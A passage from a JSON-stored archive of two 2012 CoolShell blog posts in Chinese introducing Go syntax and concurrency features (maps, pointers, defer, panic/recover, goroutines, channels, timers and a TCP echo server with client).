}\n```\n\n通常Go程序仅在`for`循环语句中使用分号，以此来分开初始化器、条件和增量单元。如果你在一行中写多个语句，也需要用分号分开。\n\n\n**注意**：**无论任何时候，你都不应该将一个控制结构（(`if`、`for`、`switch`或`select`）的左大括号放在下一行。如果这样做，将会在大括号的前方插入一个分号，这可能导致出现不想要的结果**。\n\n\n#### map\n\n\nmap在别的语言里可能叫哈希表或叫dict，下面是和map的相关操作的代码，代码很容易懂\n\n\n\n```\n\nfunc main(){\n    m := make(map[string]int) //使用make创建一个空的map\n\n    m[\"one\"] = 1\n    m[\"two\"] = 2\n    m[\"three\"] = 3\n\n    fmt.Println(m) //输出 map[three:3 two:2 one:1] (顺序在运行时可能不一样)\n    fmt.Println(len(m)) //输出 3\n\n    v := m[\"two\"] //从map里取值\n    fmt.Println(v) // 输出 2\n\n    delete(m, \"two\")\n    fmt.Println(m) //输出 map[three:3 one:1]\n\n    m1 := map[string]int{\"one\": 1, \"two\": 2, \"three\": 3}\n    fmt.Println(m1) //输出 map[two:2 three:3 one:1] (顺序在运行时可能不一样)\n\n    for key, val := range m1{\n        fmt.Printf(\"%s => %d \\n\", key, val)\n        /*输出：(顺序在运行时可能不一样)\n            three => 3\n            one => 1\n            two => 2*/\n    }\n}\n\n```\n\n#### 指针\n\n\nGo语言一样有指针，看代码\n\n\n\n```\n\n\nvar i int = 1\nvar pInt *int = &i\n//输出：i=1     pInt=0xf8400371b0       *pInt=1\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\n*pInt = 2\n//输出：i=2     pInt=0xf8400371b0       *pInt=2\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\ni = 3\n//输出：i=3     pInt=0xf8400371b0       *pInt=3\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\n\n```\n\nGo具有两个分配内存的机制，分别是内建的函数new和make。他们所做的事不同，所应用到的类型也不同，这可能引起混淆，但规则却很简单。\n\n\n#### **内存分配**\n\n\n**new** 是一个分配内存的内建函数，但不同于其他语言中同名的new所作的工作，**它只是将内存清零，而不是初始化内存**。new(T)为一个类型为T的新项目分配了值为零的存储空间并返回其地址，也就是一个类型为\\*T的值。用Go的术语来说，就是**它返回了一个指向新分配的类型为T的零值的指针**。\n\n\n`**make**(T,` *args*`)`函数的目的与`new(T)`不同。它仅用于创建切片、map和chan（消息管道），并返回类型`T`（不是`*T`）的一个**被初始化了的**（不是**零**）实例。这种差别的出现是由于这三种类型实质上是对在使用前必须进行初始化的数据结构的引用。例如，切片是一个具有三项内容的描述符，包括指向数据（在一个数组内部）的指针、长度以及容量，在这三项内容被初始化之前，切片值为`nil`。对于切片、映射和信道，`make`初始化了其内部的数据结构并准备了将要使用的值。如：\n\n\n下面的代码分配了一个整型数组，长度为10，容量为100，并返回前10个数组的切片\n\n\n\n```\nmake([]int, 10, 100)\n```\n\n以下示例说明了`new`和`make`的不同。\n\n\n\n```\n\nvar p *[]int = new([]int)   // 为切片结构分配内存；*p == nil；很少使用\nvar v  []int = make([]int, 10) // 切片v现在是对一个新的有10个整数的数组的引用\n\n// 不必要地使问题复杂化：\nvar p *[]int = new([]int)\nfmt.Println(p) //输出：&[]\n*p = make([]int, 10, 10)\nfmt.Println(p) //输出：&[0 0 0 0 0 0 0 0 0 0]\nfmt.Println((*p)[2]) //输出： 0\n\n// 习惯用法:\nv := make([]int, 10)\nfmt.Println(v) //输出：[0 0 0 0 0 0 0 0 0 0]\n\n```\n\n#### 函数\n\n\n老实说，我对Go语言这种反过来声明变量类型和函数返回值的做法有点不满（保持和C一样的不可以吗? 呵呵）\n\n\n\n```\n\npackage main\nimport \"fmt\"\n\nfunc max(a int, b int) int { //注意参数和返回值是怎么声明的\n\n    if a > b {\n        return a\n    }\n    return b\n}\n\nfunc main(){\n    fmt.Println(max(4, 5))\n}\n\n\n```\n\n**函数返回多个值**\n\n\nGo中很多Package 都会返回两个值，一个是正常值，一个是错误，如下所示：\n\n\n\n```\n\npackage main\nimport \"fmt\"\n\nfunc main(){\n    v, e := multi_ret(\"one\")\n    fmt.Println(v,e) //输出 1 true\n\n    v, e = multi_ret(\"four\")\n    fmt.Println(v,e) //输出 0 false\n\n    //通常的用法(注意分号后有e)\n    if v, e = multi_ret(\"four\"); e {\n        // 正常返回\n    }else{\n        // 出错返回\n    }\n}\n\nfunc multi_ret(key string) (int, bool){\n    m := map[string]int{\"one\": 1, \"two\": 2, \"three\": 3}\n\n    var err bool\n    var val int\n\n    val, err = m[key]\n\n    return val, err\n}\n\n```\n\n**函数不定参数**\n\n\n例子很清楚了，我就不多说了\n\n\n\n```\n\nfunc sum(nums ...int) {\n    fmt.Print(nums, \" \")  //输出如 [1, 2, 3] 之类的数组\n    total := 0\n    for _, num := range nums { //要的是值而不是下标\n        total += num\n    }\n    fmt.Println(total)\n}\nfunc main() {\n    sum(1, 2)\n    sum(1, 2, 3)\n\n    //传数组\n    nums := []int{1, 2, 3, 4}\n    sum(nums...)\n}\n```\n\n**函数闭包**\n\n\nnextNum这个函数返回了一个匿名函数，这个匿名函数记住了nextNum中i+j的值，并改变了i,j的值，于是形成了一个闭包的用法\n\n\n\n```\n\nfunc nextNum() func() int {\n    i,j := 1,1\n    return func() int {\n        var tmp = i+j\n        i, j = j, tmp\n        return tmp\n    }\n}\n//main函数中是对nextNum的调用，其主要是打出下一个斐波拉契数\nfunc main(){\n    nextNumFunc := nextNum()\n    for i:=0; i<10; i++ {\n        fmt.Println(nextNumFunc())\n    }\n}\n\n```\n\n**函数的递归**\n\n\n和c基本是一样的\n\n\n\n```\n\nfunc fact(n int) int {\n    if n == 0 {\n        return 1\n    }\n    return n * fact(n-1)\n}\n\nfunc main() {\n    fmt.Println(fact(7))\n}\n```\n\n#### 结构体\n\n\nGo的结构体和C的基本上一样，不过在初始化时有些不一样，Go支持带名字的初始化。\n\n\n\n```\n\ntype Person struct {\n    name string\n    age  int\n    email string\n}\n\nfunc main() {\n    //初始化\n    person := Person{\"Tom\", 30, \"tom@gmail.com\"}\n    person = Person{name:\"Tom\", age: 30, email:\"tom@gmail.com\"}\n\n    fmt.Println(person) //输出 {Tom 30 tom@gmail.com}\n\n    pPerson := &person\n\n    fmt.Println(pPerson) //输出 &{Tom 30 tom@gmail.com}\n\n    pPerson.age = 40\n    person.name = \"Jerry\"\n    fmt.Println(person) //输出 {Jerry 40 tom@gmail.com}\n}\n\n```\n\n#### 结构体方法\n\n\n不多说了，看代码吧。\n\n\n注意：Go语言中没有public, protected, private的关键字，所以，**如果你想让一个方法可以被别的包访问的话，你需要把这个方法的第一个字母大写。这是一种约定**。\n\n\n\n```\n\ntype rect struct {\n    width, height int\n}\n\nfunc (r *rect) area() int { //求面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() int{ //求周长\n    return 2*(r.width + r.height)\n}\n\nfunc main() {\n    r := rect{width: 10, height: 15}\n\n    fmt.Println(\"面积: \", r.area())\n    fmt.Println(\"周长: \", r.perimeter())\n\n    rp := &r\n    fmt.Println(\"面积: \", rp.area())\n    fmt.Println(\"周长: \", rp.perimeter())\n}\n\n```\n\n#### 接口和多态\n\n\n接口意味着多态，下面是一个经典的例子，不用多说了，自己看代码吧。\n\n\n\n```\n\n//---------- 接 口 --------//\ntype shape interface {\n    area() float64 //计算面积\n    perimeter() float64 //计算周长\n}\n\n//--------- 长方形 ----------//\ntype rect struct {\n    width, height float64\n}\n\nfunc (r *rect) area() float64 { //面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() float64 { //周长\n    return 2*(r.width + r.height)\n}\n\n//----------- 圆  形 ----------//\ntype circle struct {\n    radius float64\n}\n\nfunc (c *circle) area() float64 { //面积\n    return math.Pi * c.radius * c.radius\n}\n\nfunc (c *circle) perimeter() float64 { //周长\n    return 2 * math.Pi * c.radius\n}\n\n// ----------- 接口的使用 -----------//\nfunc interface_test() {\n    r := rect {width:2.9, height:4.8}\n    c := circle {radius:4.3}\n\n    s := []shape{&r, &c} //通过指针实现\n\n    for _, sh := range s {\n        fmt.Println(sh)\n        fmt.Println(sh.area())\n        fmt.Println(sh.perimeter())\n    }\n}\n\n```\n\n#### 错误处理 – Error接口\n\n\n函数错误返回可能是C/C++时最让人纠结的东西的，Go的多值返回可以让我们更容易的返回错误，其可以在返回一个常规的返回值之外，还能轻易地返回一个详细的错误描述。通常情况下，错误的类型是error，它有一个内建的接口。\n\n\n\n```\ntype error interface {\n    Error() string\n}\n```\n\n还是看个示例吧：\n\n\n\n```\npackage main\n\nimport \"fmt\"\nimport \"errors\"\n\n//自定义的出错结构\ntype myError struct {\n    arg  int\n    errMsg string\n}\n//实现Error接口\nfunc (e *myError) Error() string {\n    return fmt.Sprintf(\"%d - %s\", e.arg, e.errMsg)\n}\n\n//两种出错\nfunc error_test(arg int) (int, error) {\n    if arg < 0  {\n         return -1, errors.New(\"Bad Arguments - negtive!\")\n     }else if arg >256 {\n        return -1, &myError{arg, \"Bad Arguments - too large!\"}\n    }\n    return arg*arg, nil\n}\n\n//相关的测试\nfunc main() {\n    for _, i := range []int{-1, 4, 1000} {\n        if r, e := error_test(i); e != nil {\n            fmt.Println(\"failed:\", e)\n        } else {\n            fmt.Println(\"success:\", r)\n        }\n    }\n}\n```\n\n程序运行后输出：\n\n\n\n```\n\nfailed: Bad Arguments - negtive!\nsuccess: 16\nfailed: 1000 - Bad Arguments - too large!\n\n```\n\n#### 错误处理 – Defer\n\n\n下面的程序对于每一个熟悉C语言的人来说都不陌生（有资源泄露的问题），C++使用RAII来解决这种问题。\n\n\n\n```\n\nfunc CopyFile(dstName, srcName string) (written int64, err error) {\n    src, err := os.Open(srcName)\n    if err != nil {\n        return\n    }\n\n    dst, err := os.Create(dstName)\n    if err != nil {\n        return\n    }\n\n    written, err = io.Copy(dst, src)\n    dst.Close()\n    src.Close()\n    return\n}\n```\n\nGo语言引入了Defer来确保那些被打开的文件能被关闭。如下所示：（这种解决方式还是比较优雅的）\n\n\n<\n\n\npre class=”EnlighterJSRAW” data-enlighter-language=”golang” data-enlighter-highlight=”6,12″>  \n\nfunc CopyFile(dstName, srcName string) (written int64, err error) {  \n\n src, err := os.Open(srcName)  \n\n if err != nil {  \n\n return  \n\n }  \n\n defer src.Close()\n\n\n\n```\ndst, err := os.Create(dstName)\nif err != nil {\n    return\n}\ndefer dst.Close()\n\nreturn io.Copy(dst, src)\n\n```\n\n}[/c]\n\n\nGo的defer语句预设一个函数调用（延期的函数），该调用在函数执行defer返回时立刻运行。该方法显得不同常规，但却是处理上述情况很有效，无论函数怎样返回，都必须进行资源释放。\n\n\n我们再来看一个defer函数的示例：\n\n\n\n```\n\nfor i := 0; i < 5; i++ {\n    defer fmt.Printf(\"%d \", i)\n}\n```\n\n被延期的函数以后进先出（LIFO）的顺行执行，因此以上代码在返回时将打印4 3 2 1 0。\n\n\n总之，我个人觉得defer的函数行为有点怪异，我现在还没有完全搞清楚。\n\n\n#### 错误处理 – Panic/Recover\n\n\n对于不可恢复的错误，Go提供了一个内建的panic函数，它将创建一个运行时错误并使程序停止（相当暴力）。该函数接收一个任意类型（往往是字符串）作为程序死亡时要打印的东西。当编译器在函数的结尾处检查到一个panic时，就会停止进行常规的return语句检查。\n\n\n下面的仅仅是一个示例。实际的库函数应避免panic。如果问题可以容忍，最好是让事情继续下去而不是终止整个程序。\n\n\n\n```\n\nvar user = os.Getenv(\"USER\")\n\nfunc init() {\n    if user == \"\" {\n        panic(\"no value for $USER\")\n    }\n}\n```\n\n当panic被调用时，它将立即停止当前函数的执行并开始逐级解开函数堆栈，同时运行所有被defer的函数。如果这种解开达到堆栈的顶端，程序就死亡了。但是，也可以使用内建的recover函数来重新获得Go程的控制权并恢复正常的执行。 对recover的调用会通知解开堆栈并返回传递到panic的参量。由于仅在解开期间运行的代码处在被defer的函数之内，recover仅在被延期的函数内部才是有用的。\n\n\n你可以简单地理解为recover就是用来捕捉Painc的，防止程序一下子就挂掉了。\n\n\n下面是一个例程，很简单了，不解释了\n\n\n\n```\n\nfunc g(i int) {\n    if i>1 {\n        fmt.Println(\"Panic!\")\n        panic(fmt.Sprintf(\"%v\", i))\n    }\n\n}\n\nfunc f() {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Println(\"Recovered in f\", r)\n        }\n    }()\n\n    for i := 0; i < 4; i++ {\n        fmt.Println(\"Calling g with \", i)\n        g(i)\n        fmt.Println(\"Returned normally from g.\")\n     }\n}\n\nfunc main() {\n    f()\n    fmt.Println(\"Returned normally from f.\")\n}\n```\n\n运行结果如下：（我们可以看到Painc后的for循环就没有往下执行了，但是main的程序还在往下走）\n\n\n\n```\n\nCalling g with  0\nReturned normally from g.\nCalling g with  1\nReturned normally from g.\nCalling g with  2\nPanic!\nRecovered in f 2\nReturned normally from f.\n\n```\n\n你习惯这种编程方式吗？我觉得有点诡异。呵呵。\n\n\n好了，上面是是一Go语言相关的编程语法的介绍，我没有事无巨细，只是让你了解一下Go语言是长什么样的。**当然，这还没完，请期待下篇——Go语言的特性**。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [Go 语言简介（上）— 语法](https://coolshell.cn/articles/8460.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-11-7 Go 语言简介（下）— 特性.md",
    "content": "---\nlayout: post\ntitle: Go 语言简介（下）— 特性\ndate: 2012/11/7/ 0:17:20\nupdated: 2012/11/7/ 0:17:20\nstatus: publish\npublished: true\ntype: post\n---\n\n希望你看到这篇文章的时候还是在公交车和地铁上正在上下班的时间，我希望我的这篇文章可以让你利用这段时间了解一门语言。当然，希望你不会因为看我的文章而错过站。呵呵。\n\n\n如果你还不了解Go语言的语法，还请你移步先看一下上篇——《**[Go语言简介（上）：语法](https://coolshell.cn/articles/8460.html \"Go语言简介（上）：语法\")**》\n\n\n![](../wp-content/uploads/2012/11/google-go-language.jpg \"google-go-language\")\n\n\n#### goroutine\n\n\nGoRoutine主要是使用go关键字来调用函数，你还可以使用匿名函数，如下所示：\n\n\n\n\n```\npackage main\nimport \"fmt\"\n\nfunc f(msg string) {\n    fmt.Println(msg)\n}\n\nfunc main(){\n    go f(\"goroutine\")\n\n    go func(msg string) {\n        fmt.Println(msg)\n    }(\"going\")\n}\n```\n\n我们再来看一个示例，下面的代码中包括很多内容，包括时间处理，随机数处理，还有goroutine的代码。如果你熟悉C语言，你应该会很容易理解下面的代码。\n\n\n你可以简单的把go关键字调用的函数想像成pthread\\_create。下面的代码使用for循环创建了3个线程，每个线程使用一个随机的Sleep时间，然后在routine()函数中会输出一些线程执行的时间信息。\n\n\n\n```\n\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\n\nfunc routine(name string, delay time.Duration) {\n\n    t0 := time.Now()\n    fmt.Println(name, \" start at \", t0)\n\n    time.Sleep(delay)\n\n    t1 := time.Now()\n    fmt.Println(name, \" end at \", t1)\n\n    fmt.Println(name, \" lasted \", t1.Sub(t0))\n}\n\nfunc main() {\n\n    //生成随机种子\n    rand.Seed(time.Now().Unix())\n\n    var name string\n    for i:=0; i<3; i++{\n        name = fmt.Sprintf(\"go_%02d\", i) //生成ID\n        //生成随机等待时间，从0-4秒\n        go routine(name, time.Duration(rand.Intn(5)) * time.Second)\n    }\n\n    //让主进程停住，不然主进程退了，goroutine也就退了\n    var input string\n    fmt.Scanln(&input)\n    fmt.Println(\"done\")\n}\n\n```\n\n运行的结果可能是：\n\n\n\n```\n\ngo_00  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_02  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  end at  2012-11-04 19:46:36.8975894 +0800 +0800\ngo_01  lasted  1.0001s\ngo_02  end at  2012-11-04 19:46:38.8987895 +0800 +0800\ngo_02  lasted  3.0013001s\ngo_00  end at  2012-11-04 19:46:39.8978894 +0800 +0800\ngo_00  lasted  4.0004s\n\n```\n\n#### goroutine的并发安全性\n\n\n关于goroutine，我试了一下，无论是Windows还是Linux，基本上来说是用操作系统的线程来实现的。不过，goroutine有个特性，也就是说，**如果一个goroutine没有被阻塞，那么别的goroutine就不会得到执行**。这并不是真正的并发，如果你要真正的并发，你需要在你的main函数的第一行加上下面的这段代码：\n\n\n\n```\nimport \"runtime\"\n...\nruntime.GOMAXPROCS(4)\n```\n\n还是让我们来看一个有并发安全性问题的示例（注意：我使用了C的方式来写这段Go的程序）\n\n\n这是一个经常出现在教科书里卖票的例子，我启了5个goroutine来卖票，卖票的函数sell\\_tickets很简单，就是随机的sleep一下，然后对全局变量total\\_tickets作减一操作。\n\n\n\n```\n\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\nimport \"runtime\"\n\nvar total_tickets int32 = 10;\n\nfunc sell_tickets(i int){\n    for{\n        if total_tickets > 0 { //如果有票就卖\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets-- //卖一张票\n            fmt.Println(\"id:\", i, \"  ticket:\", total_tickets)\n        }else{\n            break\n        }\n    }\n}\n\nfunc main() {\n    runtime.GOMAXPROCS(4) //我的电脑是4核处理器，所以我设置了4\n    rand.Seed(time.Now().Unix()) //生成随机种子\n\n    for i := 0; i < 5; i++ { //并发5个goroutine来卖票\n         go sell_tickets(i)\n    }\n    //等待线程执行完\n    var input string\n    fmt.Scanln(&input)\n    fmt.Println(total_tickets, \"done\") //退出时打印还有多少票\n}\n```\n\n这个程序毋庸置疑有并发安全性问题，所以执行起来你会看到下面的结果：\n\n\n\n```\n\n$go run sell_tickets.go\nid: 0   ticket: 9  \nid: 0   ticket: 8  \nid: 4   ticket: 7  \nid: 1   ticket: 6  \nid: 3   ticket: 5  \nid: 0   ticket: 4  \nid: 3   ticket: 3  \nid: 2   ticket: 2  \nid: 0   ticket: 1  \nid: 3   ticket: 0  \nid: 1   ticket: -1  \nid: 4   ticket: -2  \nid: 2   ticket: -3  \nid: 0   ticket: -4  \n-4 done\n```\n\n可见，我们需要使用上锁，我们可以使用互斥量来解决这个问题。下面的代码，我只列出了修改过的内容：\n\n\n\n```\n package main\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\nimport \"sync\"\nimport \"runtime\"\n\nvar total_tickets int32 = 10;\nvar mutex = &sync.Mutex{} //可简写成：var mutex sync.Mutex\n\nfunc sell_tickets(i int){\n    for total_tickets>0 {\n        mutex.Lock()\n        if total_tickets > 0 {\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets--\n            fmt.Println(i, total_tickets)\n        }\n        mutex.Unlock()\n    }\n}\n.......\n......\n\n```\n\n#### 原子操作\n\n\n说到并发就需要说说原子操作，相信大家还记得我写的那篇《[无锁队列的实现](https://coolshell.cn/articles/8239.html \"无锁队列的实现\")》一文，里面说到了一些CAS – CompareAndSwap的操作。Go语言也支持。你可以看一下相当的文档\n\n\n我在这里就举一个很简单的示例：下面的程序有10个goroutine，每个会对cnt变量累加20次，所以，最后的cnt应该是200。如果没有atomic的原子操作，那么cnt将有可能得到一个小于200的数。\n\n\n下面使用了atomic操作，所以是安全的。\n\n\n\n```\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"sync/atomic\"\n\nfunc main() {\n    var cnt uint32 = 0\n    for i := 0; i < 10; i++ {\n        go func() {\n            for i:=0; i<20; i++ {\n                time.Sleep(time.Millisecond)\n                atomic.AddUint32(&cnt, 1)\n            }\n        }()\n    }\n    time.Sleep(time.Second)//等一秒钟等goroutine完成\n    cntFinal := atomic.LoadUint32(&cnt)//取数据\n    fmt.Println(\"cnt:\", cntFinal)\n}\n```\n\n这样的函数还有很多，参看[go的atomic包文档](http://golang.org/pkg/sync/atomic/)（被墙）\n\n\n#### Channel 信道\n\n\nChannal是什么？Channal就是用来通信的，就像Unix下的管道一样，在Go中是这样使用Channel的。\n\n\n下面的程序演示了一个goroutine和主程序通信的例程。这个程序足够简单了。\n\n\n\n```\n\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n    //创建一个string类型的channel\n    channel := make(chan string)\n\n    //创建一个goroutine向channel里发一个字符串\n    go func() { channel <- \"hello\" }()\n\n    msg := <- channel\n    fmt.Println(msg)\n}[\n```\n\n**指定channel的buffer**\n\n\n指定buffer的大小很简单，看下面的程序：\n\n\n\n```\npackage main\nimport \"fmt\"\n\nfunc main() {\n    channel := make(chan string, 2)\n\n    go func() {\n        channel <- \"hello\"\n        channel <- \"World\"\n    }()\n\n    msg1 := <-channel\n    msg2 := <-channel\n    fmt.Println(msg1, msg2)\n}\n```\n\n**Channel的阻塞**\n\n\n注意，channel默认上是阻塞的，也就是说，如果Channel满了，就阻塞写，如果Channel空了，就阻塞读。于是，我们就可以使用这种特性来同步我们的发送和接收端。\n\n\n下面这个例程说明了这一点，代码有点乱，不过我觉得不难理解。\n\n\n\n```\npackage main\n\nimport \"fmt\"\nimport \"time\"\n\nfunc main() {\n\n    channel := make(chan string) //注意: buffer为1\n\n    go func() {\n        channel <- \"hello\"\n        fmt.Println(\"write \\\"hello\\\" done!\")\n\n        channel <- \"World\" //Reader在Sleep，这里在阻塞\n        fmt.Println(\"write \\\"World\\\" done!\")\n\n        fmt.Println(\"Write go sleep...\")\n        time.Sleep(3*time.Second)\n        channel <- \"channel\"\n        fmt.Println(\"write \\\"channel\\\" done!\")\n    }()\n\n    time.Sleep(2*time.Second)\n    fmt.Println(\"Reader Wake up...\")\n\n    msg := <-channel\n    fmt.Println(\"Reader: \", msg)\n\n    msg = <-channel\n    fmt.Println(\"Reader: \", msg)\n\n    msg = <-channel //Writer在Sleep，这里在阻塞\n    fmt.Println(\"Reader: \", msg)\n}\n```\n\n上面的代码输出的结果如下：\n\n\n\n```\n\nReader Wake up...\nReader:  hello\nwrite \"hello\" done!\nwrite \"World\" done!\nWrite go sleep...\nReader:  World\nwrite \"channel\" done!\nReader:  channel\n\n```\n\n**Channel阻塞的这个特性还有一个好处是，可以让我们的goroutine在运行的一开始就阻塞在从某个channel领任务，这样就可以作成一个类似于线程池一样的东西。关于这个程序我就不写了。我相信你可以自己实现的。**\n\n\n**多个Channel的select**\n\n\n\n```\npackage main\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    //创建两个channel - c1 c2\n    c1 := make(chan string)\n    c2 := make(chan string)\n\n    //创建两个goruntine来分别向这两个channel发送数据\n    go func() {\n        time.Sleep(time.Second * 1)\n        c1 <- \"Hello\"\n    }()\n    go func() {\n        time.Sleep(time.Second * 1)\n        c2 <- \"World\"\n    }()\n\n    //使用select来侦听两个channel\n    for i := 0; i < 2; i++ {\n        select {\n        case msg1 := <-c1:\n            fmt.Println(\"received\", msg1)\n        case msg2 := <-c2:\n            fmt.Println(\"received\", msg2)\n        }\n    }\n}\n```\n\n注意：上面的select是阻塞的，所以，才搞出ugly的for i <2这种东西**。**\n\n\n**Channel select阻塞的Timeout**\n\n\n解决上述那个for循环的问题，一般有两种方法：一种是阻塞但有timeout，一种是无阻塞。我们来看看如果给select设置上timeout的。\n\n\n\n```\n\n    for {\n        timeout_cnt := 0\n        select {\n        case msg1 := <-c1:\n            fmt.Println(\"msg1 received\", msg1)\n        case msg2 := <-c2:\n            fmt.Println(\"msg2 received\", msg2)\n        case  <-time.After(time.Second * 30)：\n            fmt.Println(\"Time Out\")\n            timout_cnt++\n        }\n        if time_cnt > 3 {\n            break\n        }\n    }\n\n```\n\n上面代码中高亮的代码主要是用来让select返回的，注意 case中的time.After事件。\n\n\n**Channel的无阻塞**\n\n\n好，我们再来看看无阻塞的channel，其实也很简单，就是在select中加入default，如下所示：\n\n\n\n```\n\n    for {\n        select {\n        case msg1 := <-c1:\n            fmt.Println(\"received\", msg1)\n        case msg2 := <-c2:\n            fmt.Println(\"received\", msg2)\n        default: //default会导致无阻塞\n            fmt.Println(\"nothing received!\")\n            time.Sleep(time.Second)\n        }\n    }\n\n```\n\n**Channel的关闭**\n\n\n关闭Channel可以通知对方内容发送完了，不用再等了。参看下面的例程：\n\n\n\n```\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\n\nfunc main() {\n\n    channel := make(chan string)\n    rand.Seed(time.Now().Unix())\n\n    //向channel发送随机个数的message\n    go func () {\n        cnt := rand.Intn(10)\n        fmt.Println(\"message cnt :\", cnt)\n        for i:=0; i<cnt; i++{\n            channel <- fmt.Sprintf(\"message-%2d\", i)\n        }\n        close(channel) //关闭Channel\n    }()\n\n    var more bool = true\n    var msg string\n    for more {\n        select{\n        //channel会返回两个值，一个是内容，一个是还有没有内容\n        case msg, more = <- channel:\n            if more {\n                fmt.Println(msg)\n            }else{\n                fmt.Println(\"channel closed!\")\n            }\n        }\n    }\n}\n```\n\n#### 定时器\n\n\nGo语言中可以使用time.NewTimer或time.NewTicker来设置一个定时器，这个定时器会绑定在你的当前channel中，通过channel的阻塞通知机器来通知你的程序。\n\n\n下面是一个timer的示例。\n\n\n\n```\npackage main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    timer := time.NewTimer(2*time.Second)\n\n    <- timer.C\n    fmt.Println(\"timer expired!\")\n}\n```\n\n上面的例程看起来像一个Sleep，是的，不过Timer是可以Stop的。你需要注意Timer只通知一次。如果你要像C中的Timer能持续通知的话，你需要使用Ticker。下面是Ticker的例程：\n\n\n\n```\npackage main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    ticker := time.NewTicker(time.Second)\n\n    for t := range ticker.C {\n        fmt.Println(\"Tick at\", t)\n    }\n}\n```\n\n上面的这个ticker会让你程序进入死循环，我们应该放其放在一个goroutine中。下面这个程序结合了timer和ticker\n\n\n\n```\npackage main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n\n    ticker := time.NewTicker(time.Second)\n\n    go func () {\n        for t := range ticker.C {\n            fmt.Println(t)\n        }\n    }()\n\n    //设置一个timer，10钞后停掉ticker\n    timer := time.NewTimer(10*time.Second)\n    <- timer.C\n\n    ticker.Stop()\n    fmt.Println(\"timer expired!\")\n}\n```\n\n#### Socket编程\n\n\n下面是我尝试的一个Echo Server的Socket代码，感觉还是挺简单的。\n\n\n**Server端**\n\n\n\n```\n \npackage main\n\nimport (\n    \"net\"\n    \"fmt\"\n    \"io\"\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    listener, err := net.Listen(\"tcp\", \"0.0.0.0:6666\")//侦听在6666端口\n    if err != nil {\n        panic(\"error listening:\"+err.Error())\n    }\n    fmt.Println(\"Starting the server\")\n\n    for {\n        conn, err := listener.Accept() //接受连接\n        if err != nil {\n            panic(\"Error accept:\"+err.Error())\n        }\n        fmt.Println(\"Accepted the Connection :\", conn.RemoteAddr())\n        go EchoServer(conn)\n    }\n}\n\nfunc EchoServer(conn net.Conn) {\n    buf := make([]byte, RECV_BUF_LEN)\n    defer conn.Close()\n\n    for {\n        n, err := conn.Read(buf);\n        switch err {\n            case nil:\n                conn.Write( buf[0:n] )\n            case io.EOF:\n                fmt.Printf(\"Warning: End of data: %s \\n\", err);\n                return\n            default:\n                fmt.Printf(\"Error: Reading data : %s \\n\", err);\n                return\n        }\n     }\n}\n\n```\n\n**Client端**\n\n\n\n```\n\npackage main\n\nimport (\n    \"fmt\"\n    \"time\"\n    \"net\"\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    conn,err := net.Dial(\"tcp\", \"127.0.0.1:6666\")\n    if err != nil {\n        panic(err.Error())\n    }\n    defer conn.Close()\n\n    buf := make([]byte, RECV_BUF_LEN)\n\n    for i := 0; i < 5; i++ {\n        //准备要发送的字符串\n        msg := fmt.Sprintf(\"Hello World, %03d\", i)\n        n, err := conn.Write([]byte(msg))\n        if err != nil {\n            println(\"Write Buffer Error:\", err.Error())\n            break\n        }\n        fmt.Println(msg)\n\n        //从服务器端收字符串\n        n, err = conn.Read(buf)\n        if err !=nil {\n            println(\"Read Buffer Error:\", err.Error())\n            break\n        }\n        fmt.Println(string(buf[0:n]))\n\n        //等一秒钟\n        time.Sleep(time.Second)\n    }\n}\n\n```\n\n#### 